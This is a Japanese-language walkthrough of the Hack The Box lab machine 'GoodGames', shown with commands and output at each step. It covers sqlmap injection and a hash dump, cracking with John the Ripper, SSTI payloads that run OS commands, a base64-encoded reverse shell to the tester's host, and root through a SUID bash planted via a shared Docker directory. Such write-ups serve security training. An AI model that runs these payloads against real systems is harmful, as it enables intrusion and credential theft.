Hack The BoxのWriteup(GoodGames)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのLinuxサーバの難易度Easyのマシンである「GoodGames」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン及びアクセス

  (2) Webアクセスできるファイル/ディレクトリ調査

  (3) sqlmapを用いたデータベース内のデータ取得

  (4) John the Ripperを用いてハッシュ値解析

  (5) Webの管理画面へのログイン

  (6) 名前解決のためのhostsファイル更新

  (7) サーバーサイド・テンプレート・インジェクション(SSTI)攻撃の試行

  (8) サーバーサイド・テンプレート・インジェクション(SSTI)攻撃を用いたOSコマンド実行

  (9) サーバーサイド・テンプレート・インジェクション(SSTI)攻撃を用いたリバースシェル実行

  (10) Dockerマシン上で調査

  (11) augustusユーザーでSSHログイン

  (12) 特権昇格のための調査(SUIDなど)

  (13) 特権昇格(Dockerマシンとのファイル共有の脆弱性)

※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン及びアクセス


(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)などポートが応答がある。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.11.130
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-15 10:24 JST
Warning: 10.10.11.130 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.130
Host is up (0.28s latency).
Not shown: 65248 closed tcp ports (reset), 286 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.9.2)
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops

TRACEROUTE (using port 8888/tcp)
HOP RTT       ADDRESS
1   446.72 ms 10.10.16.1
2   201.02 ms 10.10.11.130

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.26 seconds


(2) ブラウザを用いて「http://10.10.11.130」にアクセスすると、Webページが表示される。


Webアクセスできるファイル/ディレクトリ調査


(1) feroxbusterを用いてアクセスできるURLを確認するが、特に気になる内容はない。

$ feroxbuster -u http://10.10.11.130 -d 2 -C 400,403,404,405,500
ーーー(省略)ーーー
200      GET       89l      882w    74924c http://10.10.11.130/static/images/post-5-sm.jpg
200      GET        7l       21w     2197c http://10.10.11.130/static/images/icon-gamepad.png
302      GET        4l       24w      208c http://10.10.11.130/logout => http://10.10.11.130/
200      GET        2l       47w     3285c http://10.10.11.130/static/vendor/object-fit-images/dist/ofi.min.js
200      GET        7l      110w     5594c http://10.10.11.130/static/vendor/imagesloaded/imagesloaded.pkgd.min.js
200      GET       22l       88w     6942c http://10.10.11.130/static/images/slide-3-thumb.jpg
ーーー(省略)ーーー




(2) dirsearchを用いてアクセスできるURLを確認するが、特に気になる内容はない。

$ sudo dirsearch -u http://10.10.11.130
ーーー(省略)ーーー
[18:16:07] Starting:
[18:16:54] 200 -   43KB - /blog
[18:17:21] 200 -    9KB - /login
[18:17:22] 302 -  208B  - /logout  ->  http://10.10.11.130/
[18:17:37] 200 -    2KB - /profile
[18:17:42] 403 -  277B  - /server-status
[18:17:42] 403 -  277B  - /server-status/
[18:17:44] 200 -   33KB - /signup
ーーー(省略)ーーー




(3) ffufを用いてアクセスできるURLを確認するが、特に気になる内容はない。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://10.10.11.130/FUZZ" -ic
ーーー(省略)ーーー
12                      [Status: 200, Size: 9265, Words: 2096, Lines: 267, Duration: 218ms]
                        [Status: 200, Size: 85107, Words: 29274, Lines: 1735, Duration: 220ms]
contact                 [Status: 200, Size: 9265, Words: 2096, Lines: 267, Duration: 424ms]
home                    [Status: 200, Size: 9265, Words: 2096, Lines: 267, Duration: 424ms]
logo                    [Status: 200, Size: 9265, Words: 2096, Lines: 267, Duration: 425ms]
index                   [Status: 200, Size: 9265, Words: 2096, Lines: 267, Duration: 425ms]
download                [Status: 200, Size: 9265, Words: 2096, Lines: 267, Duration: 425ms]
rss                     [Status: 200, Size: 9265, Words: 2096, Lines: 267, Duration: 425ms]
ーーー(省略)ーーー




sqlmapを用いたデータベース内のデータ取得


(1) ブラウザを用いて「http://10.10.11.130」にアクセスして、右上の人間アイコンをクリックする。


(2) 適用なユーザー名(メールアドレス)とパスワードを入力して、「SIGN IN」をクリックする。


(3) HTTPステータスコード500番(Internal Server Error)表示されたため、@ という文字列があることでエラーが発生したと推測できる。そのため、SQLインジェクションの脆弱性があると推測できる。


(4) Burp Stuiteで取得したログイン試行した時のリクエストデータの値を確認する。

【リクエストデータ】
POST /login HTTP/1.1
Host: 10.10.11.130
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: http://10.10.11.130
Connection: keep-alive
Referer: http://10.10.11.130/forgot-password
Upgrade-Insecure-Requests: 1
Priority: u=0, i

email=admin%40game.htb&password=admin




(5) Request欄で右クリックで選択し、「Copy to file」をクリックする。


(6) sqlmapを用いてデータベースの一覧を表示すると、mainというデータベースがあることが分かる。

$ sqlmap -r request.txt -p email --batch --level 5 --risk 3 --dbs


【出力内容(一部抜粋)】
[11:04:01] [INFO] checking if the injection point on POST parameter 'email' is a false positive
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 652 HTTP(s) requests:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: email=admin@game.htb' AND 2085=(SELECT (CASE WHEN (2085=2085) THEN 2085 ELSE (SELECT 3106 UNION SELECT 1968) END))-- aCGE&password=admin

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=admin@game.htb' AND (SELECT 4197 FROM (SELECT(SLEEP(5)))VPhs)-- GqNV&password=admin
---
[11:04:13] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[11:04:15] [INFO] fetching database names
[11:04:15] [INFO] fetching number of databases
[11:04:15] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[11:04:15] [INFO] retrieved: 2
[11:04:18] [INFO] retrieved: information_schema
[11:05:07] [INFO] retrieved: main
available databases [2]:
[*] information_schema
[*] main


(7) sqlmapを用いてテーブルの一覧を表示すると、userテーブルというユーザー情報が記載されてそうなテーブルがあることがか分かる。

$ sqlmap -r request.txt -p email --batch --level 5 --risk 3 -D main --tables

【出力内容(一部抜粋)】
[11:17:53] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: email=admin@game.htb' AND 2085=(SELECT (CASE WHEN (2085=2085) THEN 2085 ELSE (SELECT 3106 UNION SELECT 1968) END))-- aCGE&password=admin

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=admin@game.htb' AND (SELECT 4197 FROM (SELECT(SLEEP(5)))VPhs)-- GqNV&password=admin
---

Database: main
[3 tables]
+---------------+
| user          |
| blog          |
| blog_comments |
+---------------+


(8) userテーブルの内容を確認すると、admin@goodgames.htbユーザーのパスワードハッシュ値が「2b22337f218b2d82dfc3b6f77e7cb8ec」であることが分かる。

$ sqlmap -r request.txt email --batch --level 5 --risk 3 -D main -T user --dump

【出力内容(一部抜粋)】
[11:20:10] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: email=admin@game.htb' AND 2085=(SELECT (CASE WHEN (2085=2085) THEN 2085 ELSE (SELECT 3106 UNION SELECT 1968) END))-- aCGE&password=admin

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=admin@game.htb' AND (SELECT 4197 FROM (SELECT(SLEEP(5)))VPhs)-- GqNV&password=admin
---
[11:20:11] [INFO] the back-end DBMS is MySQL

Database: main
Table: user
[1 entry]
+----+---------------------+--------+----------------------------------+
| id | email               | name   | password                         |
+----+---------------------+--------+----------------------------------+
| 1  | admin@goodgames.htb | admin  | 2b22337f218b2d82dfc3b6f77e7cb8ec |
+----+---------------------+--------+----------------------------------+


John the Ripperを用いてハッシュ値解析


(1) admin@goodgames.htbユーザーのパスワードハッシュ値がどのようなハッシュ値か確認するために、「https://hashes.com/en/tools/hash_identifier」にパスワードハッシュ値を入力して「SUBMIT & IDENTIFY」をクリックする。


(2) MD5というアルゴリズムで生成されたハッシュ値であることが分かる。


(3) Kali Linux側の操作で取得したadmin@goodgames.htbユーザーの認証情報を「2b22337f218b2d82dfc3b6f77e7cb8ec」をファイルに格納する。

$ echo "2b22337f218b2d82dfc3b6f77e7cb8ec" > admin_hash


$ cat admin_hash
2b22337f218b2d82dfc3b6f77e7cb8ec


(4) John the Ripperを用いてadmin@goodgames.htbユーザーのハッシュ値を解析すると、「superadministrator」のハッシュ値であることが分かる。

$ john admin_hash --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
superadministrator (?)
1g 0:00:00:00 DONE (2025-08-15 18:10) 5.263g/s 18296Kp/s 18296Kc/s 18296KC/s superarely1993..super5dooper
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.


Webの管理画面へのログイン


(1) ブラウザを用いて「http://10.10.11.130」にアクセスして、右上の人間アイコンをクリックする。


(2) 「ユーザー名:admin@goodgames.htb」と「パスワード:superadministrator」を入力して、「SIGN IN」をクリックする。


(3) ログインに成功した旨のメッセージが表示される。


(4) 右上の歯車マークをクリックする。その後、「http://internal-administration.goodgames.htb/」にアクセスされるが、名前解決できないためエラーとなる。


名前解決のためのhostsファイル更新


(1) 名前解決できるようにKali Linuxの/etc/hostsファイルに記載する。

$ echo '10.10.11.130 internal-administration.goodgames.htb' | sudo tee -a /etc/hosts
$ cat /etc/hosts
   →「10.10.11.130 internal-administration.goodgames.htb」が出力されることを確認する。


(2) ブラウザを用いて「http://internal-administration.goodgames.htb/」にアクセスすると、Webページが表示される。


サーバーサイド・テンプレート・インジェクション(SSTI)攻撃の試行


(1) パスワードを使い回されている可能性があるため、「ユーザー名:admin」と「パスワード:superadministrator」を入力して、ログインする。


(2) ログインに成功しダッシュボード画面が表示される。


(3) Full Name欄に以下の値を入力する。その後、任意のBirthdayとPhoneを入力して、「Save all」をクリックする。

【送信するデータ】
{{7*7}}




(4) 49(=7×7)が表示されたため、サーバーサイド・テンプレート・インジェクション(SSTI)攻撃ができることが分かる。


サーバーサイド・テンプレート・インジェクション(SSTI)攻撃を用いたOSコマンド実行


(1) nmapコマンドの結果PythonでWebサイトが構築されていることが分かっている。そのため、HackTricks(https://hacktricks.boitatech.com.br/pentesting-web/ssti-server-side-template-injection)でPtyhonのOSコマンド実行の方法を確認する。


(2) Full Name欄に以下の値を入力する。その後、任意のBirthdayとPhoneを入力して、「Save all」をクリックする。

【送信するデータ】
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}




(3) lsコマンドの実行結果が表示されるため、任意のOSコマンドを実行できることが分かる。

サーバーサイド・テンプレート・インジェクション(SSTI)攻撃を用いたリバースシェル実行


(1) Kali Linux側で1234/tcpで待ち受ける。

$ nc -lvnp 1234


(2) ブラウザを用いてReverse Shell Generator: Online(https://www.revshells.com/)にアクセスして、IPアドレスなどを設定することでリバースシェルのコマンドを確認する。


(3) 実行するリバースシェルのコマンドをBase64でデコードする。

$ echo "sh -i >& /dev/tcp/10.10.16.10/1234 0>&1" | base64
c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTAvMTIzNCAwPiYxCg==


(4) Full Name欄に以下の値を入力する。その後、任意のBirthdayとPhoneを入力して、「Save all」をクリックする。

【実行するコマンド】
echo${IFS}"c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTAvMTIzNCAwPiYxCg=="${IFS}|base64${IFS}-d|bash
  ※${IFS}はシェルスクリプトの区切り文字でスペースと同じ意味になる。
  ※Base64でデコードしてそのコマンドを実行するコマンド


【送信するデータ】
{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}"c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTAvMTIzNCAwPiYxCg=="${IFS}|base64${IFS}-d|bash').read()}}




(5) 「nc -lvnp 1234」コマンドを実行していたプロンプトに応答があり、任意のコマンドを実行できるようになる。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.130] 37080
sh: 0: can't access tty; job control turned off
#


(6) 完全なシェルを奪取する

# which python3
/usr/local/bin/python3

# /usr/local/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'

[Ctrl]+[Z]でバックグラウンドに移す

# stty raw -echo;fg

# bash

# export TERM=xterm


Dockerマシン上で調査


(1) ホスト名やIPアドレスを確認すると、攻撃対象のマシン(GoodGames)ではないため、Dockerのマシンであることが分かる。

※リバースシェルで奪取したDockerマシン上で以下のコマンドを実行する。

# hostname
3a453ab39d3d


# ip a
  →IPアドレスが「172.19.0.2」であることが分かる。


(2) DockerマシンからアクセスできるIPアドレスを確認するために、172.19.0.0/24に対してpingの応答有無を確認する。

※リバースシェルで奪取したDockerマシン上で以下のコマンドを実行する。

# for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" &); done;
64 bytes from 172.19.0.1: icmp_seq=1 ttl=64 time=0.073 ms
64 bytes from 172.19.0.2: icmp_seq=1 ttl=64 time=0.031 ms


(3) Dockerマシンからポートスキャンを実行すると、22/tcpの応答があるためSSH接続ができることが分かる。

※リバースシェルで奪取したDockerマシン上で以下のコマンドを実行する。

$ for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done  2>/dev/null
22 open
80 open


(4) ユーザー名を推測するためにホームディレクトリのユーザー名を確認すると、augustusユーザーのホームディレクトリがあることが分かる。

※リバースシェルで奪取したDockerマシン上で以下のコマンドを実行する。

# ls /home/
augustus


augustusユーザーでSSHログイン


(1) SSHを用いてaugustusユーザーでログインする。

※リバースシェルで奪取したDockerマシン上で以下のコマンドを実行する。

# ssh augustus@172.19.0.1
  →パスワード(superadministrator)を入力する。


(2) ホスト名やIPアドレスを確認すると、攻撃対象のマシン(GoodGames)であることが分かる。

$ hostname
GoodGames


$ ip a
  →IPアドレスが「10.10.11.130」や「172.17.0.1」など設定されていることが分かる。


(3) 現在ログインしているユーザー情報を確認すると、augustusユーザーであることが分かる。

$ id
uid=1000(augustus) gid=1000(augustus) groups=1000(augustus)


$ whoami
augustus


(4) 一般ユーザー用のフラグファイルの内容を確認する。

$ cat /home/augustus/user.txt
823a2dc9adc05aa8c82cf4b6b5e65513


特権昇格のための調査(SUIDなど)


(1) sudoコマンドの設定を確認する。

※augustusユーザーでログインした攻撃対象のマシン(GoodGames)上で以下のコマンドを実行する。

$ sudo -l
  →パスワード(superadministrator)を入力する。
-bash: sudo: command not found


(2) SUIDファイルを検索する。

※augustusユーザーでログインした攻撃対象のマシン(GoodGames)上で以下のコマンドを実行する。

$ find / -perm -u=s -type f 2> /dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/su


(3) .bash_historyファイルを確認すると、何も出力されない。

※augustusユーザーでログインした攻撃対象のマシン(GoodGames)上で以下のコマンドを実行する。

$ cat /home/augustus/.bash_history


(4) 攻撃対象のマシン上でポートスキャンを実行して、応答がポート番号を確認する。

※augustusユーザーでログインした攻撃対象のマシン(GoodGames)上で以下のコマンドを実行する。

$ for port in {1..65535}; do echo > /dev/tcp/127.0.0.1/$port && echo "$port open"; done  2>/dev/null
80 open
3306 open
8000 open
8085 open
33060 open
40958 open
51978 open


(5) OSの情報を確認すると、「Debian GNU/Linux 11」であることが分かる。

※augustusユーザーでログインした攻撃対象のマシン(GoodGames)上で以下のコマンドを実行する。

$ uname -a
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64 GNU/Linux


$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 11 (bullseye)
Release:        11
Codename:       bullseye


特権昇格(Dockerマシンとのファイル共有の脆弱性)


(1) Dockerマシンと攻撃対象のマシン(GoodGames)の /home/augustus は共有されているため、Dockerマシン上でroot権限で/bin/bashファイルの権限を変更すると、攻撃対象のマシン(GoodGames)上で特権昇格ができることが分かる。

(2) 攻撃対象のマシン(GoodGames)上で/bin/bashファイルを/home/augustus/ディレクトリに移動する。bashファイルの所有者はaugustusユーザーであることが分かる。

※augustusユーザーでログインした攻撃対象のマシン(GoodGames)上で以下のコマンドを実行する。

$ cp /bin/bash /home/augustus/


$ ls -l
-rwxr-xr-x 1 augustus augustus 1234376 Aug 16 07:41 bash
-rw-r----- 1 root     augustus      33 Aug 15 02:13 user.txt


(3) 攻撃対象のマシン(GoodGames)上でexitコマンドを実行することで、Dockerマシンのプロンプトを表示する。

※augustusユーザーでログインした攻撃対象のマシン(GoodGames)上で以下のコマンドを実行する。

$ exit


(4) Dockerマシン上で/home/augustus/にbashファイルがあることを確認する。

※リバースシェルで奪取したDockerマシン上で以下のコマンドを実行する。

# cd /home/augustus/


# ls -l
total 1212
-rwxr-xr-x 1 1000 1000 1234376 Aug 16 06:41 bash
-rw-r----- 1 root 1000      33 Aug 15 01:13 user.txt


(5) Dockerマシン上で/home/augustus/bashの権限を変更する。権限変更後、所有者がrootユーザーでありSUIDが付与されていることを確認する。

※リバースシェルで奪取したDockerマシン上で以下のコマンドを実行する。

# chown root:root /home/augustus/bash


# chmod +s /home/augustus/bash


# ls -l
total 1212
-rwsr-sr-x 1 root root 1234376 Aug 16 06:41 bash
-rw-r----- 1 root 1000      33 Aug 15 01:13 user.txt


(6) 再度SSHを用いてaugustusユーザーでログインする。

※リバースシェルで奪取したDockerマシン上で以下のコマンドを実行する。

# ssh augustus@172.19.0.1
  →パスワード(superadministrator)を入力する。


(5) 攻撃対象のマシン(GoodGames)上で/home/augustus/bashを実行することで特権昇格する。

※augustusユーザーでログインした攻撃対象のマシン(GoodGames)上で以下のコマンドを実行する。

$ /home/augustus/bash -p
  →root権限のプロンプト(#)が表示される。


(6) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。

※攻撃対象のマシン(GoodGames)上で特権昇格したプロンプト上で以下のコマンドを実行する。

# id
uid=1000(augustus) gid=1000(augustus) euid=0(root) egid=0(root) groups=0(root),1000(augustus)


# whoami
root


(7) 特権ユーザー用のフラグファイルの内容を確認する。

※攻撃対象のマシン(GoodGames)上で特権昇格したプロンプト上で以下のコマンドを実行する。

# cat /root/root.txt
33138089bab028516238c4aaeedb35f3


関連記事(Hack The Box)

※後日作成予定。